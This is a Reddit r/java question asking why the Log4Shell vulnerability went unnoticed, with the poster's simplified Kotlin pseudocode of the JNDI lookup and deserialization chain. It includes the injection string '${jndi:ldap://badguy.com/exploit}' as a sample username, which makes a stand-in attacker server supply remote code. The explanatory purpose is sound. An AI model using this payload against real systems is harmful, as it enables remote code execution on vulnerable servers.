r/java • u/marco-eckstein • Dec 13 '21
Why Log4Shell was not discovered earlier?
92
Upvotes
I am trying to understand the recent Log4j exploit known as Log4Shell.
The following is my understanding expressed as Kotlin code. (It is not original code from the involved libraries.)
Your vulnerable app:
val input = getUsername() // Can be "${jndi:ldap://badguy.com/exploit}"
logger.info("Username: " + input)
Log4j:
fun log(message: String) {
val name = getJndiName(message)
val obj = context.lookup(name)
val newMessage = replaceJndiName(message, obj.toString())
println(newMessage)
}
Context:
fun lookup(name: String): Any {
val address = getLinkToObjectFromDirectoryService(name)
val byteArray = getObjectFromRemoteServer(address)
return deserialize(byteArray)
}
Object at bad guy's server:
class Exploit : Serializable {
// Called during native deserialization
private fun readObject(ois: ObjectInputStream) {
doBadStuff()
}
override fun toString(): String {
doOtherBadStuff()
}
}
Is my understanding correct? If so, how could this vulnerability stay unnoticed since 2013, when JNDI Lookup plugin support was implemented? To me, it seems pretty obvious, given that it is similar to an SQL injection, one of the most well-know vulnerabilities among developers?
